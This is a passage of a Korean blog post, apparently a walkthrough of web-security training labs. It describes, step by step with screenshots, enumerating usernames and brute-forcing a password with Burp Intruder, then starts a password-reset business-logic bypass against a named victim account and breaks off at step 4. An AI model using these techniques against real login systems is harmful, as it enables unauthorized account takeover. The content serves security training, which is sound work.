&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.37.11.png&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDsQQd/dJMcadWoQtp/aFODGRad97XWOgxneY4rBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDsQQd/dJMcadWoQtp/aFODGRad97XWOgxneY4rBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDsQQd/dJMcadWoQtp/aFODGRad97XWOgxneY4rBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDsQQd%2FdJMcadWoQtp%2FaFODGRad97XWOgxneY4rBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;361&quot; height=&quot;284&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.37.11.png&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. My account 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.40.04.png&quot; data-origin-width=&quot;1764&quot; data-origin-height=&quot;980&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTRavd/dJMcahLiMcn/bk3OLQeDp9vDd1KUxt3uM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTRavd/dJMcahLiMcn/bk3OLQeDp9vDd1KUxt3uM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTRavd/dJMcahLiMcn/bk3OLQeDp9vDd1KUxt3uM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTRavd%2FdJMcahLiMcn%2Fbk3OLQeDp9vDd1KUxt3uM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;289&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.40.04.png&quot; data-origin-width=&quot;1764&quot; data-origin-height=&quot;980&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. test, 1234 입력후 intercept on 상태에서 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.41.23.png&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;660&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKLyzX/dJMcaciRYtD/dxkC7vHIv9SGeJLE2urg6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKLyzX/dJMcaciRYtD/dxkC7vHIv9SGeJLE2urg6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKLyzX/dJMcaciRYtD/dxkC7vHIv9SGeJLE2urg6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKLyzX%2FdJMcaciRYtD%2FdxkC7vHIv9SGeJLE2urg6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;479&quot; height=&quot;211&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.41.23.png&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;660&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 23번라인에서 입력한 것을 볼 수 있음. 여기서 send to intruder&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.42.44.png&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;1244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l75ZZ/dJMcaaZG3rh/i9f0t7Ml9XBk64vAUSedw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l75ZZ/dJMcaaZG3rh/i9f0t7Ml9XBk64vAUSedw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l75ZZ/dJMcaaZG3rh/i9f0t7Ml9XBk64vAUSedw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl75ZZ%2FdJMcaaZG3rh%2Fi9f0t7Ml9XBk64vAUSedw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;425&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.42.44.png&quot; data-origin-width=&quot;1592&quot; data-origin-height=&quot;1244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. test부분 드래그 후 Add 표시 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.44.46.png&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;1178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/plwVG/dJMcaaZG3se/2c5KuPLHqJHaxk7OrZ5JVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/plwVG/dJMcaaZG3se/2c5KuPLHqJHaxk7OrZ5JVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/plwVG/dJMcaaZG3se/2c5KuPLHqJHaxk7OrZ5JVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FplwVG%2FdJMcaaZG3se%2F2c5KuPLHqJHaxk7OrZ5JVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;411&quot; height=&quot;424&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.44.46.png&quot; data-origin-width=&quot;1142&quot; data-origin-height=&quot;1178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. intercept off 후 시작페이지에서 Candidate usernames 링크 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.46.53.png&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;1362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ynrp4/dJMcabj3dCg/7FC1FGNb6kAkmzU7bvFTSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ynrp4/dJMcabj3dCg/7FC1FGNb6kAkmzU7bvFTSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ynrp4/dJMcabj3dCg/7FC1FGNb6kAkmzU7bvFTSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYnrp4%2FdJMcabj3dCg%2F7FC1FGNb6kAkmzU7bvFTSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;344&quot; height=&quot;303&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.46.53.png&quot; data-origin-width=&quot;1544&quot; data-origin-height=&quot;1362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 아래 내용 전부 복사해서 intruder 오른쪽의 payload에 paste 후 Start attack&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.48.03.png&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cP9mkU/dJMcac4gvKU/I0bgvyCQhX1YK4lUWBmkKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cP9mkU/dJMcac4gvKU/I0bgvyCQhX1YK4lUWBmkKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cP9mkU/dJMcac4gvKU/I0bgvyCQhX1YK4lUWBmkKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcP9mkU%2FdJMcac4gvKU%2FI0bgvyCQhX1YK4lUWBmkKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;528&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.48.03.png&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. payload 대입 결과 화면중에서 length가 확연히 다른 하나를 찾음. Response에서 incorrect password라고 써있는거 확인가능.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 username은 alaska라는 것을 알 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저 위치에서 다시 send to intruder&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.52.32.png&quot; data-origin-width=&quot;2760&quot; data-origin-height=&quot;1238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHRdtR/dJMcaicpnVX/PbCdaHKnSw5TG16xBhzBj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHRdtR/dJMcaicpnVX/PbCdaHKnSw5TG16xBhzBj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHRdtR/dJMcaicpnVX/PbCdaHKnSw5TG16xBhzBj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHRdtR%2FdJMcaicpnVX%2FPbCdaHKnSw5TG16xBhzBj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2760&quot; height=&quot;1238&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.52.32.png&quot; data-origin-width=&quot;2760&quot; data-origin-height=&quot;1238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. 1234부분에 드래그후 Add 표시 클릭. 시작페이지에서 Candidate passwords 링크 클릭. 아래 내용 전부 복사해서 intruder 오른쪽의 payload에 paste 후 Start attack&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.58.14.png&quot; data-origin-width=&quot;2950&quot; data-origin-height=&quot;1182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YBsMh/dJMcadPBjq0/VSye7YQfkfEru0Zk7Xjsv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YBsMh/dJMcadPBjq0/VSye7YQfkfEru0Zk7Xjsv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YBsMh/dJMcadPBjq0/VSye7YQfkfEru0Zk7Xjsv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYBsMh%2FdJMcadPBjq0%2FVSye7YQfkfEru0Zk7Xjsv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2950&quot; height=&quot;1182&quot; data-filename=&quot;스크린샷 2026-05-23 오전 10.58.14.png&quot; data-origin-width=&quot;2950&quot; data-origin-height=&quot;1182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. payload 대입 결과 화면중에서 status나 length가 다른 하나를 찾음. qwerty가 올바른 비밀번호&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.02.23.png&quot; data-origin-width=&quot;2946&quot; data-origin-height=&quot;1514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8SkxA/dJMcadhP7lq/k5rjv2KJFucYPnR3WqwPZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8SkxA/dJMcadhP7lq/k5rjv2KJFucYPnR3WqwPZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8SkxA/dJMcadhP7lq/k5rjv2KJFucYPnR3WqwPZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8SkxA%2FdJMcadhP7lq%2Fk5rjv2KJFucYPnR3WqwPZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2946&quot; height=&quot;1514&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.02.23.png&quot; data-origin-width=&quot;2946&quot; data-origin-height=&quot;1514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11. 로그인창에 찾은 username과 password 입력 후 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.03.36.png&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;726&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zo3TJ/dJMcaglivdV/3Njgle2qxff14eAWIa1SP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zo3TJ/dJMcaglivdV/3Njgle2qxff14eAWIa1SP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zo3TJ/dJMcaglivdV/3Njgle2qxff14eAWIa1SP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZo3TJ%2FdJMcaglivdV%2F3Njgle2qxff14eAWIa1SP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1512&quot; height=&quot;726&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.03.36.png&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;726&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. 성공화면이 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.03.52.png&quot; data-origin-width=&quot;2306&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Y6fvd/dJMcaipT0kN/71seGd5Z6SeNUVfKYr6yK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Y6fvd/dJMcaipT0kN/71seGd5Z6SeNUVfKYr6yK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Y6fvd/dJMcaipT0kN/71seGd5Z6SeNUVfKYr6yK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FY6fvd%2FdJMcaipT0kN%2F71seGd5Z6SeNUVfKYr6yK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2306&quot; height=&quot;1162&quot; data-filename=&quot;스크린샷 2026-05-23 오전 11.03.52.png&quot; data-origin-width=&quot;2306&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;비즈니스 로직 결함을 이용한 비밀번호 재설정 우회 및 계정 탈취&lt;/span&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.41.59.png&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;804&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CLZIn/dJMcabdcoa7/ykZdkXulpZdRUQNVXT2cJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CLZIn/dJMcabdcoa7/ykZdkXulpZdRUQNVXT2cJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CLZIn/dJMcabdcoa7/ykZdkXulpZdRUQNVXT2cJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCLZIn%2FdJMcabdcoa7%2FykZdkXulpZdRUQNVXT2cJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;251&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.41.59.png&quot; data-origin-width=&quot;1328&quot; data-origin-height=&quot;804&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. My account 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.45.50.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;1702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsMO0f/dJMcagMqE2z/2pLA2LQBscKbKmbmIR1yg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsMO0f/dJMcagMqE2z/2pLA2LQBscKbKmbmIR1yg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsMO0f/dJMcagMqE2z/2pLA2LQBscKbKmbmIR1yg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsMO0f%2FdJMcagMqE2z%2F2pLA2LQBscKbKmbmIR1yg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;297&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.45.50.png&quot; data-origin-width=&quot;2338&quot; data-origin-height=&quot;1702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Victim's username이 carlos라고 시작에서 알려줬으므로 password만 1234로 해서 로그인 시도를 하면 틀렸다고 뜨면서 두번째 시도할때 Forgot password?가 뜸. 이를 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.49.03.png&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD04ty/dJMcadIN1U8/EihcK81uhnwEB7CqZ1tqMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD04ty/dJMcadIN1U8/EihcK81uhnwEB7CqZ1tqMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD04ty/dJMcadIN1U8/EihcK81uhnwEB7CqZ1tqMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD04ty%2FdJMcadIN1U8%2FEihcK81uhnwEB7CqZ1tqMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;211&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.49.03.png&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. carlos 입력 후 submit&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.51.23.png&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byfJjx/dJMcad2820K/viOb4UBLzNm6qkBYjGx6b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byfJjx/dJMcad2820K/viOb4UBLzNm6qkBYjGx6b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byfJjx/dJMcad2820K/viOb4UBLzNm6qkBYjGx6b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyfJjx%2FdJMcad2820K%2FviOb4UBLzNm6qkBYjGx6b0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;172&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.51.23.png&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
